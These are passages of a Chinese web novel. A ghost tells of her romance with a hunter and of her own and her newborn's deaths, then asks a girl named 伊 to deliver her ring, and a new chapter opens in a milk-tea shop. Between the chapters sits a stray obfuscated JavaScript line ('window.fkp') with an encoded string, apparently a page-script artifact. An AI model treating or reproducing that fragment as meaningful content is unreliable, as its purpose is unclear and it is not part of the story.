我本来也没有生气,自然也就原谅他了。我叹了口气,笑着对他说: “算你识相。” 我也不知道我跟他的地位关系是怎么调转过来的,至今这也是个谜团。我看着他一副深思熟虑的表情,觉得他一定是想好了的。我就问他: “你真的一点畅想都没有吗?” 被我问到,他挠了挠头,一脸尴尬地对我说: “这个问题吗......我考虑过,不过没想太远。走一步算一步,这是我的习惯性思维。” 他突然不说话,去看了一眼我们共同栽种的花朵,似乎看着花他就不显尴尬了。他继续说: “我想攒够一笔钱,带着你去地平区。到了那里,我要给我们买一栋大房子,还有买一辆好车,最重要的是......” 他转过头来,轻轻地拉住我的手,信誓旦旦地向我保证: “我会在那里举办我们的婚礼,风风光光的,让所有人都抬起头看我们!我会穿上最帅气的礼服,拿着最漂亮的鲜花把你从家里接出来,让你赚足面子。你会穿上最漂亮的婚纱,打扮成比天使还美!我们两个在红毯上走过,成为这世界上最幸福的一对。我们将在最庄严的牧师面前结为夫妻!我将为你戴上钻戒,你将是别人眼中最幸福的女人!” 听完他的话,我心里很是感动。我鼻子一酸,两滴泪就不争气地流了下来。我露出感动的笑容,擦了擦脸上的泪水,拉着他的手说: “那你可不要食言。” 他拉紧我的手,信誓旦旦地向我保证: “决不食言!我说到做到!” 这时,我心里萌生了一个很可怕的想法。这个想法我觉得很可怕,不敢再想一遍的那种。我想问问他,看看他是怎样的态度。我问他: “要是在这个过程中我死了怎么办?” 他一听我这么说,双手抓住我的肩膀,脸上的表情瞬间变得惊恐起来。他跟我说: “宝贝,你别说这种话!你会让我做噩梦的。” 我见他这惊恐的样子,我痴痴地笑了笑,我明白了他对这件事的敏感。看来,我们对这件事的看法是一致的。我一个反客为主,抓住他的肩膀,露出了欣慰的笑容。我对他说: “那我们就彼此守护彼此,一起去地平区吧。” 他急忙点了点头,似乎还没从刚刚的惊吓中缓过神来。我们彼此松开,然后靠着树继续聊天。他问我: “老婆大人,你的想法是怎样的?” 我抿嘴笑了笑,也跟他似的看了一样我们一起栽种的花,然后转过头来对他说: “我没什么太多的要求,我只希望能一直和你在一起。不管是生病还贫困、不管是我们两个落到了怎样的窘境、不管我们的未来是否光明,我都会一直陪在你身边,从不离开半步。我们会一直播种,一起见证春天的到来。我们会一起欣赏,一起见证秋天的离去......” 他听我这么说,竟没吐出一个字来。我看着他,他看着我。他的眼神很是真挚,透过他的眼,我能看到他心里最真挚的情感。他想表达些什么,也许是我的说法让他犯了难,他不知道该怎么去向我表达。我没有责怪他,我本身也不是个“高文化”人士。我拉住他的手,深情地看了他一眼,又转头去看我们一起栽种的花。这时,他似乎是想到了对策,就开口跟我说: “宝贝,我......我也没太多要求。就是希望能在下雨时当你的雨伞,帮你挡挡雨。在你生病的时候,我能是你最好的伴侣,为你送来关怀与温暖。在在在......在那什么......啊,对。在你最伤心的时候,我会帮你分担痛苦,让你好受些。在有人欺负你的时候,我会保护你,让那些欺负你的人统统付出代价!只要......只要你能陪在我的身边,就是天塌下来了,我也会给你撑着的。” 我拉住他的手,靠在他的肩上,深情地看着他。虽然他的语言不是很优美,可是他言语中的那份渴望与情感,我却能深切地感受到。我曾记得我的高中老师曾教育我:真挚的感情表达需要的不是优美的语言,而是字里行间的真情实感。现在想来,这句话的的确确是真理的一部分。我看着那些含苞待放的花朵,我看到了一片开满花朵的原野。我们的孩子在其中玩耍,沐浴在明媚的阳光之中,呼吸着新鲜的空气,品味着清甜的花香与大自然的芬芳;而我和他则站在不远处,拉着彼此的手去享受此刻的幸福。想到这些后,我心里又多了个梦。我告诉他: “我希望有一天,我们的孩子将出生在一个美丽的国家。他将在开满鲜花的原野上玩耍,与蜜蜂与蝴蝶成为朋友。我们会在一旁看他,看他在花海里漫游时的笑脸,也跟着去笑。那会是怎样的幸福啊!” 他听完我说的话,长舒了一口气。他靠着树,仰望着天空,似乎已经想象到了那副画面。他露出了微笑,眼睛里突然有了光。他轻轻地拍了拍我,接着一脸坚定地跟我说: “会有那一天的。我们的孩子,一定会在开满花海的沃野上奔跑的。会的,一定会的!那一天一定会到来的!” 在那天之后,我们两个同居在了一起。这个决定,我们商量了足足三天。我和他对此都表示同意,可在具体住哪里的问题是犯了难。最后,我们租下了当时比较贵的大型公寓,作为我们两个的新家。在行李都搬到新家之后,我们又对这里简单进行了一番装修。当然不能忘的,就是搬几盆花到屋里。我们在阳台放了很多盆花,让阳台作为我们的小花园;其他的屋子再放个几盆,做个装饰的同时又能净化空气。我这番举动他倒没说些什么,他早就让我给培养成一个养花达人了。养花的事,我们两个一起来。 在新家整理完后住下的第一晚,我们两个各在自己的房间贴上了一个大日历,以此来记录我们的努力。之后的每一天,我们都会在日历的对应日期下方标注每一天的成果,就像是播种后期待种子发芽开花一样,我们觉得每天都很有意义。每在日历上写下几笔,我们就感觉我们距离我们心中的梦想又进了一步。这样的生活每天充满希望,每天都是快乐与艰辛的奋斗。在这段日子里,我们第一次体会到了追梦的感觉。我的实力在与他一同战斗的情况下进步飞快,我们两个之间的默契已经达到了超越血缘的地步,一同随之提升的是我们之间信任与感情。我也变得越来越强大,可对比起他来说,我也就是个高级点的菜鸡。在陪伴他的无数个日日夜夜之中,我也逐渐了解到了他的过去,我也逐渐明白了他所遵循的生存之道。他对别人的冷血无情,并不是平白无故的...... 有一天晚上,他拿来了一把木头吉他,兴致冲冲地要给我展示他的弹奏技巧。我没有拒绝,站在他的面前去聆听他的弹奏。起初因为紧张,他弹得有些跑调,这让他显得很尴尬。我在一旁没有嘲笑他,而是每当他尴尬的时候鼓励他,让他减轻些许尴尬。到后来就好起来,他弹得就专业了许多,没一次跑调。听了半天,我才听出他弹得是一首情歌。他弹奏完,我为他高兴地鼓掌。他见我这样,一脸期待地问我: “好听吗?卡娜铃兰?” 我掩口笑了笑,背起手来,笑着告诉他: “好听。” 似乎是我的鼓励给了他动力,自从这一天开始,他每天有时间都回去弹几首曲子,偶尔还会去教我去弹。我的手有些笨,脑子有些转不过来。我听听不懂他的描述,老是能出现理解出错的情况;我更听不懂他说的专业术语,老是犯同一个错误。但他还是仔细地去教我,去让我明白与理解。有几次,他因为我老犯同样的错误、一种犯完又犯第二种等情况而直接躺倒在沙发上,开始发呆与诉苦,似乎教我是种折磨。我想过中途要放弃,可他每次都会细心地去教导我,即便我把他折磨地快彻底摆烂了。学有所成,但还不够精,我最后只是会弹小星星这类简单的曲子。我觉得成果不算满意,可却给他高兴得够呛。也许是我的折磨让他出了心理阴影,或者是他因为教会了我去弹奏吉他而高兴。 他弹的曲子只要出一点问题,他都不会去说自己弹得好。我弹的曲子哪怕是出现跑调或者混调这类错误,只要成功顺下来了,他就夸我弹的好。 记忆严重丢失...... 时间飞速流逝,一晃一年多就过去了。我们两个在各个方面都有所提升,我们渐渐成为了城中比较知名的一对。在街上一走一过,就会听到有人聊起我们,多数情况下都是对我们的正面夸赞。在都市猎人管理协会这边,我从原来的五阶都市猎人升至了七阶都市猎人,变化只是衣服上可以佩戴的勋章变得好看了一些。他是从原来的十阶都市猎人升至了令人闻风丧胆的十二阶都市猎人、二星都市之光,他的变化可不止勋章的变化,还有他地位与权力的变化。他现在可以去任意一个协会去应聘,而且多半是直接成功!但他不去,即使我劝他他也不去,脾气还是倔。他说是为了我才放弃了那大好的前程,他不希望跟着他一起受牵连。我自然是明白他心里的担忧,毕竟大规模非国家间战争之中,首当其冲的就是协会作战。他就是提升到那种地位,他对我的态度还如原来一样,我很佩服他的这颗恒心。 在金秋时节的一天晚上,他收到了管理协会所发来的地平区入住许可通知,但只有一个人的。这对于我们来说是个天大的喜讯,这证明我们的努力有了回报。喜悦之后,我们更加坚定了我们的信念,想必不久之后我们就可以双双前往地平区生活了。 只是相隔五天,另一个喜讯就接踵而至。那天是我们做出“尝试”后的第三天。那天我身体有些不舒服,再加上我背后的刀伤需要换药,我就去了医院。我在皮肤科换了一副新药,又去妇科进行了体检。体检报告单一出来,我接过单子一看,当时就愣住了。报告单上明明白白地写着,我怀孕了。这消息让我激动地一时半会说不出话来。喜悦、激动、幸福把我淹没,除了这些,我什么也感觉不到。我拿着那份结果单,迟迟没有从喜悦中回过神来。直到给我传单子的医生拍了拍我的肩膀,我才回过神来。接下来我又做了些测试,检验了下我的体质,发现我具备能生下这个孩子的体质。这个消息对我来说是天大的惊喜,我已经幻想出了我们一家三口生活在一起的景象。这也是上天送给我最大的礼物,以及对我最大的安慰。 回去的路上,我寻思着该怎么跟他说这件事。寻思来寻思去,我决定给他一个惊喜。 回到事务所的后,他问我结果如何,我先简单应付几句,将他的情绪稳定到较正常的水准。在他看报纸看得专注的时候,我抿嘴笑了笑,将藏在口袋里的体检结果单啪的一下放到了他的眼前。他放下报纸,一脸平淡地看着我。我指着这份结果单,露出了一抹神秘的笑。他看出些什么来,就将报纸放到了一边。我告诉他: “社长,这是我的体检报告单。根据我们事务所的规定,员工出问题了社长是要负责任的哦。” 他一脸疑惑,看着我那期待的眼神,总觉得有什么事。他对我说: “不用这么生疏......你要是生病了就说一声,我给你买药去。” 我笑了笑,有些腼腆地对他说: “好的,齐百陵。” 他见我今天这么怪,觉得十分不对劲。他轻皱眉毛,拿起我的体检报告单,仔细地看了起来。他特意将体检报告单拿得很近,向我表面他对这件事的在意。在看到最底下的几行字的时候,他突然看到了那几个我想让他看到的字眼。他本能地惊呼了一声“卧槽”,一个后仰,直接和椅子一起栽倒了过去。他这个反应完全出乎了我的意料。我担心他受伤,就走到他的身旁,问他: “齐百陵,你没事吧。” 他猛地站起来,把手中的报告单往桌子上一放,盯着那个字眼反复看了三遍。他挺起腰板,瞪着眼睛陷入了思考。思考过后,他转过头来看着我,一把抓住我的胳膊。他这突然的一下吓到了我,我被吓得一激灵。他一脸的不可思议,眼神之中满是惊讶。他这种反应,完全是我的意料之外,我没想过他知道后能是这般惊讶。他问我: “你是真的卡娜铃兰吗?我是在做梦吗?” 他捂了捂我的脸,又捂了捂自己的脸,接着狠狠地扇了自己一巴掌,脸都扇红了。他感觉到了疼痛,发觉这不是梦。我看着他这样笑了笑,我感觉他这时年轻了十几岁。我跟他说: “齐百陵,这不是梦。听我说,这是现实,你马上就要当爸爸了!” 听我这么一说,他瞬间跟一个孩童一样,高举着双手激动地高呼道: “哦哦哦哦哦哦!卧槽!我要当爹了!” 他突然一把抱起我,笑着转了三圈才把我放下。弄得我一时不知道说些什么了,只得跟他一起乐呵。高兴过后,他也想到了一些问题,这些问题我们不得不去面对。他一把拉住我的手,跟我说: “老婆,你以后就别出战了。你好好在家养着,只管照顾你自己和咱们的孩子,钱什么的,我给你赚去。” 他用坚毅的眼神告诉了我他的决心与勇气。虽然他这么说,但我还是有些担心他。我摇了摇头,告诉他: “不行。你自己一个人太危险了。趁我现在行动方便,我就在你身边留一阵吧。老公。” 一听我这么说,他非但没答应,还变本加厉地劝我安心在家养胎。 “你怀着孕呢!我怎么敢让你跟那些危险的目标战斗呢?!老婆,你就听我一把吧。平常我都听你的,这把给你听听我的了。好好在家待着吧,万一你出了什么事,我咋办?我要是把你丢了,我会心碎到夜不能寐的。要是你和孩子一起丢了,那我干脆死了得了。” 我有些担心他,就想去争去争取。 “可是......我担心你身旁少个搭档,我怕你会出事。你要是有什么事,我的天可就塌了。我不想让我们孩子生下来就没有父亲......” 听我这么说,他没有妥协的意思,执意让我留在家里。 “听我的。我是这城市中顶尖的猎手,我会保护好自己。遇到你之前的那么多年来,我也不是照样活了下来了吗?你就安心在家待着,照顾好你自己。外面的事你不用操心,我都能一一解决的。” 我想着再去争取一下。 “可是......” 他抓住我的双臂,神色坚定地告诉我: “听我的,好吗?求你了,老婆,就听我这一次吧。在这件事上,我没办法做出任何让步。你们娘俩是我的全部,我在这世上只剩下你们了,没了你们,我一无所有。” 他的苦口婆心与真诚的心意让我妥协了。我们都知道我们都是为了彼此着想,都想让我们的这个家能够幸福。 在那天黄昏时分,他把我约到了我们的秘密花园之中。在那里,我看到了喝得有些醉的他在树旁等我。我走到他的身旁坐下,没有开门见山地去问他为何约我而来,我想他只是需要我的倾听。他见我来了,先是简单地聊了几句,缓和了下气氛。然后他看着我们一次栽培的那些花,慢慢向我道出了被他埋藏在心里的那段不为人知的过去。 “你知道为什么我希望你能在家里好好待着吗?是我的自私啊,很对不起你。但为了这个家,我又不得不自私......我从小从孤儿院长大,各种惨烈的景象我都见过。在感染潮到达的时候,跟我一起的七八个孩子都被那些感染者给吃了,就我一个逃了出来。后来又赶上企业战争,我一整个冬天都没吃过一顿饱饭,总是饿着......” 他低下头来,神情变得悲伤起来。我看着他,心里很是心疼。我只是轻拍他的肩膀,并未出声去安慰他。我想他此时需要的,是我的倾听。他摸了摸自己的额头,然后继续说道: “我不知道我的父母是谁,我也没感受过父爱与母爱,这个世界上能给予我爱的,就只有院长和我的师傅。院长从小收养我,一直把我养到了十四岁,他是我的第一个父亲。后来院长因为疾病,在把我转手给我师傅后就病死了。我在十四岁被我的师傅霍杰伦给收养,他成了我的第二个父亲。为了能不让师傅操心,每次他教我武功与技巧,我都学得很认真。十七岁那年,我师傅死在了一群我不认得的人手里。我想报仇,可我那时太弱小了,做不到......家垮了,生活的担子只能我一个人扛。” 他突然转头看着我,问我: “你知道我为什么要叫齐百陵吗?” 我心底大致能猜出答案是什么,但出于对他的尊重,我摇了摇头,告诉他我不知道。他叹了口气,看着花园内枯萎的小草,说道: “短短的十年间,八十八个危险的任务被我给完成,一百多座坟墓因我而出现。我的本名实际上就叫齐,后面的百陵,只是他们给我取得外号。他们叫得久了,我也便接受这个新名字了......在这个城市里,我的仇人比你这辈子说过话的人都多,足足有三百多人。他们想杀我,可却没机会杀掉我。我的实力你知道......我曾经想过,我杀了这么多人,会不会是一种滔天的罪孽呢?但......这是这个世界的规矩,也是我的生存之道。我对死亡早已经麻木,谁死了,谁活了,不过是冰冷的现实而已。如果有人来取走我的生命,我绝不会觉得有任何的不对。欠的账,迟早要还......” 他突然拉住了我的手,他的眼神之中多了几分悲伤。他继续说道: “自从遇到了你,我慢慢看到了生活的意义。你就像季节的更替一样,突然出现在我的生活之中。与你相处,我能感觉到以前从未有过的温暖,我曾失去的东西,你又赋予了我。你是除了师傅和院长以外第三个能为我带来温暖的人,你是我的天使,你为我带来了光明。你让我明白了什么是爱,你教会了我怎么去爱一个人......那是现实与战斗无法教会我的。” 他看了看自己的手,又看了看天空。他继续说道: “我从未想过我们两个会走到今天这番地步。我曾设想过我们两个以后的生活,与现在差别很大,大到处处都是惊喜!说真的,也许是我的思维太过老套了......丛林法则,不适用于你我。现在的我只有一个想法:我要用我的一生去照顾这个家,让你们娘俩能过上好日子。” 他拉紧了我的手,皱紧了眉毛,接下来他要说的,是他内心深处最大的忧虑。他对我说: “卡娜铃兰,我担心一件事。因为那件事,我才不敢让怀着孩子的你与我一同作战。我害怕你的和孩子的离去,我承受不住那样的打击。你看着我很坚强,那是因为你没有看到无数个我偷偷哭泣的夜。我并不是什么英雄。也不是什么强人,我只是个普通人。指望我有遭遇生活重击后能站起来的勇气,我敢说我有!可我已经被生活打倒了好几回了......我已经伤痕累累了!我抵挡不住这一回重击,我挡不住......” 一向坚强的他,此刻的眼角竟出现了几滴泪水。他看着我,泪水在不知不觉间落下。我见了很是心疼,帮他擦眼泪。一向会去躲的他,此刻竟选择了接纳,似乎是向我袒露了他的真心。擦过眼泪,我对他说: “没事的,生活总是有意义的。而且,我答应过你,我会一直陪在你的身边,永不离弃的。我们相互都发过誓的......” 他拉着我的手,靠着树,眼神之中满是恐惧与悲伤。他接着说: “是你们娘俩赋予了我生活下去的意义,是你们让我活着的每一天都是有意义的。我很害怕,害怕你们有一天离我而去......我好不容易重新建起的家,我不想再让它垮掉了!” 说到这句话的时候,他情绪很激动,激动到闭着眼哭。我看着他这样很是心疼,我给予了他安慰,在一旁静静地陪着他。那是我见他第一次哭,也是最后一次...... 之后的日子如往常一样度过,我在家里做起了全职太太,而他就在外面为了我们的未来而奔波。日子一天一天过去,一切都是那么宁静祥和。在那段时间之中,他取得了第二份前往地平区居住的许可通知。孩子的问题他替我搞定了,只要等孩子生出来后去办理相关的证件与户口,再等到即将到来的八月大筛选结束,一批人来一批人走。这意味着我们一家可以一起去地平区生活。美好的日子正在向我们招手。 在来年的夏天6月份的时候,我在医院中生下了我们的孩子。我们给他起名叫齐天岚,小名岚儿,是个男孩。这个名字是我们两个想了三天才想出来的,叫这个名字是因为它的谐音是“晴天蓝”,寓意我们的儿子前途似蓝天一般广阔。生下儿子后,医院方面为了保证儿子的生命安全,就将他送到了早产儿处理中心的维生舱室。我生下他后我和他还没来得及看到他的样子,一场大变故就到来了。 变故发生前,我们两个刚在我们的秘密花园之中许下了一份诺言。我们的花园内有一丛合欢花,现在距离开花还有一阵子。这些合欢花本该在这个时候结果,但却因为我们算错了播种日期,导致它们在本应结果的时候还在准备着开花。又因为东玲国的地理位置特殊,这些合欢花能保持存活。我们是对着这些合欢花许下的诺言,约定在离开这里的最后一天抱着我们的孩子来去看它们最美丽的绽放。以花为我们的见证人,见证我们的婚姻,见证我们的爱情,见证我们曾经来过。 说要离开这里了,倒有些舍不得,舍不得这个漂亮的花园与里面盛开的花朵。我们计划在离开后就将这个花园传给另一位花匠,让这座花园永远保持生机。我想,在我走后,这片花园的新主人一定会照顾好这里,让这里的花香永不断绝。这不仅仅是种花,这是种信念。 许下诺言后,在离开花园时,我深情地对着那丛合欢花说道: “我想,它们盛开时的样子一定会美得让人陶醉吧。” 记忆严重丢失...... 记忆严重丢失...... 在我与世长辞前的那段短暂时光,他抱着我,满街地跑。大街上到处都是惨叫声与嘶吼声,我不知道发生了什么,我只知道他在抱着我从危险中穿梭,为了救我而寻找办法。我用我坚强的意识抵抗着疼痛与生命的流逝,我在坚持......我不想让他为我丧失希望,我不想让他伤心。 “撑着!挺住啊!亲爱的,我们马上就到医院了。你马上就有救了!别睡着......千万别睡着......” 我能听到他抱着我时的喊叫声,我能感觉到他的血与泪正一滴滴地滴在我的身上。我的身体还能感受到他的温度,好温暖......可我感受不了几时了。那温暖越来越温暖了,我想是我快死了吧。我想劝他放弃我,去救我们的孩子。可我不忍心现在就掐灭他心中希望,我不想看着他哭泣......我不想看着他伤心...... 我的视线渐渐开始模糊,我的呼吸渐渐开始减弱。血一滴一滴地从我的身体流下,生命正随着它一点一点流逝。我感觉我距离凋零,已经近在咫尺了。他的身影后多了一抹白色,这好像是医院天花板的颜色。我用为数不多的气数,小声地问他: “啊......那是医院的天花板的吗?亲爱的,我们是到了医院吗?” 他的手此时开始颤抖,我能感觉到他很着急,他很紧张......想必是想为我争取生的机会吧,可亲爱的,机会已经渺茫了。我用仅有的力气去抚摸他的脸,告诉他: “不必为我而奔波了,亲爱的。快去楼上,去救我们的孩子......” 他摸着已经是惨白色的脸,对我说: “亲爱的,你挺住!我现在就抱着你去救我们的孩子!我要带着你们娘俩一起回去!” 不知过了多久,他在我的视线中消失了。我感觉我被放在了医院的长椅上。天花板上的灯一闪一闪地,大概马上就要熄灭了吧。他是去救我们的孩子去了,我还不能闭上眼睛,我要等着他回来...... 等他再次出现在我的眼前时,我已经看不清他那张泪流纵横的脸,他在我的眼前很模糊。我还能勉强听清的周围的声音,可我已经做不出多少回应。他哭着告诉我: “孩子没了......孩子没了......” 他的声音我听清楚了。孩子没了......这消息直接击碎了我坚强的意志,让我的精神彻底崩溃。我也想哭,可我连哭的力气都没有了。血快流干了,我感觉我就快死了。可我现在还不能就闭上眼睛。我担心,他没了我们娘俩,会做出什么傻事。我不能让他的生活因为我们的离去而彻底毁掉,我想让他生活得好些......我不想看到他落泪的样子,我不想看到他伤心的样子,我不想看到他难受...... “亲爱的!挺住!我现在给你去拿药!用最好的!最好的!挺住......挺住啊!别睡,千万别睡!” 他的声音回荡在我的耳中。我已经无力回天,死亡已经开始倒数。在与世长辞前,我想好好地看看他,我想在他的怀里死去。 “齐......齐百陵。” “怎么了?亲爱的?等着,别着急,我现在给你取药去。” “回来......冷......好冷......抱抱我......” 他似乎是明白了什么,立刻放弃取药,马上赶到了我的身旁。他一把抱起我,坐在长椅上看着我流泪。我用最后的力气去摸他的脸,我摸到了他脸上温暖的泪水。此时我的双眼什么也看不到,但我能用心感受到他的位置。我用我最后的气数,深情地与他告别。 “齐百陵,你是我我这辈子最大的幸福,你是我最爱的那个人。亲爱的......不要怪我,我也想与你白头偕老啊......答应我一件事,好吗?齐百陵......” 他紧紧地握住了我冰凉的手,似乎是在用坚定的眼神看着我。 “亲爱的你说,我一定答应你!” “我和岚儿走后,你一定要从阴影里走出来。不要消沉,不要沉浸在这件事的悲伤之中。无论怎样,生活还要继续啊......你还有大把的年华,怎能毁在这里......你要好好地生活啊......” “亲爱的,我答应你!我答应你!” 我悬着的手放下了,可我的意识还没有立刻消失。他以为我死了,便紧紧地抱着我,开始失声痛哭。整个医院走廊里都回荡着他悲痛欲绝的哭喊声。泪水一滴一滴滴在我的身上,可我此时已经感觉不到了。他一遍遍地叫着我的名字,一遍遍地说着自己的不对。 “都怪我!都怪我啊!如果不是因为我还不够强大保护不了你,你怎会因为而死呢......都怪我!都怪我!是我给你惹来的麻烦......” 在我与世长辞前,我听到了这句话。我用最后一口气,深情但很无力地在他耳边告诉他: “齐百陵,我不怪你......你尽力了,做不到这些不怪你的。是命运无情,让我们注定分离啊......” 那是我对他说的最后一句话,不知道他听没听到。两滴泪水从我的眼角流下,那是我对这个世界最大的遗憾。没能与他白头偕老,是我最后悔的事情。后来我就含着这份执念,脱离了我已经死亡的肉体,成为了一颗流浪的灵魂...... 通历41年3月15日...... “我亲爱的丈夫,身为灵魂的我还能看到你的样子,可惜你看不到我。我每天都会去看你,就像往常一样。请你不要再那样消沉了,我看着很心疼的。” 通历41年7月6日...... “亲爱的,不要再酗酒了,这样对身体不好的。我想看到你的笑容,而非是半夜的哭泣。不要再因为这件事而伤心了,你伤心我也跟着一起伤心的......” 通历42年1月22日...... “我亲爱的夫君,即便是新年你也在为我和岚儿悲伤吗?请你在这个喜庆的节日笑一笑吧,毕竟是新一年的开始啊!别哭了......别再夜不能寐了......” 通历42年12月1日...... “亲爱的,我不能再这么沉默下去了。你的堕落与消沉让我意识到我必须要去采取行动!我知道......你为了给我复仇而屠杀了那么多人......我不得不承认你对我的爱意的沉重,可我也不得不去谴责你的错误!我想看到你乐观生活的样子,而不是你沉沦在后悔之中的样子!” 通历43年6月21日...... “亲爱的,你还记得吗?这一天,是你我第一次见面的日子。那天我遇到了我人生的另一半,你。你是我的唯一,即便你犯下如此多的错误,即便你是个杀人不眨眼的魔鬼,我始终没有改变我的想法。如果命运可以转折,也许我们已经在那里举办过浪漫的婚礼,我们将带着我们的孩子搬进新家,我们会金盆洗手远离屠戮,我们会一起找个普通工作,我们会一起白头偕老。我曾幻想过那些......” 听过卡娜铃兰的回忆,伊的眼睛都因为感动而哭红了,现在还在抹着眼泪。这段故事让伊大受触动,这坚定了她要帮助卡娜铃兰的决心。伊抓住了卡娜铃兰的手,意志坚定地向她保证道: “卡娜铃兰小姐!我会帮你的!我一定会将你的意志送到你丈夫的手中的!相信我!” 卡娜铃兰见到伊如此坚定的眼神,露出了灿烂的笑容。她轻轻地亲了伊的脸一下,以表达她对伊帮助的感谢。伊眼前的她只是个灵魂内贮存精神的展示状态,她的亲吻不能引起伊的面部触觉的反应。但仅从意境这方面,伊就已经领会了她的这份心意。伊看着卡娜铃兰,问她: “我要怎么帮你呢?卡娜铃兰小姐?” 卡娜铃兰笑了笑,然后瞬间消失了。伊看了看周围,寻找卡娜铃兰的身影。不一会地面开始颤动,很快,一根套着戒指的骨头被几朵顽强的小花从地里给顶了上来。见到这根骨头,伊吓了一跳,她立马就猜出这根骨头是属于谁的了。卡娜铃兰的身影重新出现,她指着这根骨头,很坦然地说道: “这是我的右手无名指。请你拿下上面的戒指,将它直接送到我的丈夫手中。待我丈夫见到这个戒指的时候,他会明白我想表达的一切。” 伊俯下身来看了看这根骨头上的戒指,然后陷入了深深的犹豫之中。这是卡娜铃兰尸体上的东西,如果她贸然取下来,那就是对卡娜铃兰最大的不尊敬。即使卡娜铃兰的灵魂允许,她也不敢去那么做。见到伊这样,卡娜铃兰笑着摇了摇头,她也理解伊此时的犹豫。 “我来帮你吧!我知道你有些忌讳。” 她打个响指,几朵小花用灵活的茎干将骨头与戒指分开了,然后卷着这根骨头,将它重新送回了地下。这下,伊心中的犹豫消去了许多。她鼓起勇气,拿起了这个戒指。她吹了吹这个戒指上的土,又小心翼翼地擦了擦这个戒指上的泥。这时她发现,这个戒指上的钻石似乎有些不对劲,不过她并没有在乎这细节,毕竟东西放久了肯定会与之前有些不一样。见到伊拿到了这个戒指,卡娜铃兰瞬间眉开眼笑,似乎是知道有人帮助她完成愿望而激动所致。见到卡娜铃兰这么开心,伊感到很欣慰。伊低头看了看手中的戒指,其上的黄金依旧熠熠生辉,钻石也同当年那般璀璨。 在伊临走前,卡娜铃兰向她嘱咐道: “我丈夫他叫齐百陵,现在就居住在东洋墟之中。你若是在那里的情报暗网去打听,你能找到他的具体位置。记住,请一定要帮我将这枚戒指送到他的手里,我不想再看到那个失魂落魄、夜不能寐的他了。求求你一定要将戒指送到他的手上......求求你了......伊。” 伊点点头,告诉她: “我一定会的!相信我吧!” 卡娜铃兰点点头,笑着对伊说: “如果还能有来生。我一定最先报答你!感谢你的帮助,你的恩情我将铭记到下一世代。” 伊对她微笑着摇了摇头,用温柔的语气告诉她: “不必如此感谢我。做好事,是一件光荣的事。” 卡娜铃兰笑了笑,对伊夸赞道: “你是个好姑娘。那么......拜拜了,伊小姐。” 卡娜铃兰站起来挥手对伊道别,伊也挥手对她道别。伊将这枚戒指放到口袋里,然后转身离去。就在她走到花园门口的时候,她眼前的景象瞬间放大数倍,有瞬间缩小数倍,最后似波浪一般扭曲了几秒。咔嚓一下,就像拍了一张照一样,伊的眼前瞬间一黑,然后眼前的景象就恢复到了正常。伊有些疑惑地说道: “奇怪,怎么回事呢?” 伊张望了一圈,发现原来在卡娜铃兰的位置多出了一朵枯萎的百合花。除了这个花以外,周围的景象没有发生任何改变。伊当做是无事发生,然后就离开了这里。为了防止被那些追踪者抓到,伊这会特意去坐出租车上班。伊所乘坐的出租车渐渐消失在了街边...... 此时,在那朵枯萎了的百合花旁边,一只长靴踩在了这朵花的旁边。十团冥火在黑暗中燃烧,一盏孤灯在黑暗中闪耀。 “呜呼,聪明之女也。不意为情与君,竟可出密谋。真令我服......汝之明妇。臣愿汝之足用去来。非故魂所为长也,终有堕地。” ...... 此时,一个包裹着核心的草团从椿木雄一郎的尸体中钻了出来。它茫然地看了看四周,又看了看自己所制造的,被砍成碎块的傀儡“卡娜铃兰”。他很无奈,心底的小算盘被人给打破了。他心想道: “好吧,好吧。看来去见百陵老哥的计划得推迟几天了......要是能弄来人造人技术就好了,那么还有机会能复活她。” 他滚到了那具傀儡旁边,发觉内部的灵魂符咒已被破坏。这下他更加无奈了,这不仅是算盘被打破,而是给碾成粉了。他心想道: “操!这下是完蛋了。神医来都抢救不活她了,灵魂飞走了......不管了,赶紧想办法离开这里,回去找舅舅去想办法弄具新的身体。” 这个草团慢慢地滚走了,不一会,几个黑暗德鲁伊教徒就抱走了它,将他转送至傀儡师手中...... ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十一话:胡普(一) 一段时间后...... 什红亮正在拖地,保罗正在柜台内站着发呆。与以往不同的是,不常出现的店长法戈·明正坐在奶茶店里喝奶茶。这时,伊突然跑了进来。店内的三人一齐看过去,看到气喘吁吁的伊,都不禁有有些好奇。 什红亮: “(好奇)伊,你今天怎么这么晚才来?” 保罗: “(好奇)对呀,你都迟到一个多小时了。” 伊有些不好意思地杵在原地片刻,然后向他们解释道: “路上我遇到一些追捕我的坏人,为了甩开他们,就花了些时间......” 法戈·明: “(若有所思)嗯?追捕你的人?——算了,你赶紧回到你的岗位上吧。迟到就迟到吧。” 伊: “(愧疚)店长。我迟到了,要不你就罚我些钱吧......不然就这样我心里也过意不去的,公事公办吧。” 法戈·明: “好吧......你今天的工钱扣一块钱。赶紧回到工作岗位上工作吧!” 之后,伊换好工作服,然后站在柜台里开始了今天的工作。今天的奶茶店还是像往常一样冷淡,来的人很少。在快到中午的时候,法戈·明突然起身回到了办公室之中。见到店长离开,保罗和什红亮与伊聊起了天。早上伊主动请罚这件事,引得保罗和什红亮一阵疑惑。想到这件事,保罗就问伊: “伊,话说你早上为啥主动请罚啊?” 伊义正严词地回答他: “这是规矩。如果犯了错没有惩罚,那么就是在默许错误的发生。那样对任何人都没有好处。” 一听这回答,什红亮不禁对伊夸赞道: “看看人姑娘这悟性!再看看咱俩,哎......咱俩也得培养培养咱的悟性了。” 保罗一听,也觉得挺对,便说道: “咱也得改改咱这习惯,不能老想着钻空子。” 什红亮和保罗笑了笑,伊看了他们两个一眼,也跟着笑了笑。就在这时,一个模糊身影瞬间来到了店内。他的移动速度极快,在停下的瞬间掀起了一阵狂风。狂风过后,店内的三人看清了他的身影。他是法戈·明。店内的三人瞬间惊掉了下巴。这时,二楼的法戈·明走了下来。见到两个法戈·明同时存在,店内的三人直接愣住了。二楼的法戈·明立马就认出了那个法戈·明的身份,那是真正的法戈·明。他看着法戈·明(本人)惊呼道: “师傅!你回来了!” 店内三人的目光齐聚在他的身上,她们三个已经被惊得说不出坏来了。法戈·明(本人)看了他一眼,又看了看店内惊讶的三人。他耸了耸肩,露出了难堪的表情。 “又得花时间来讲故事了......” 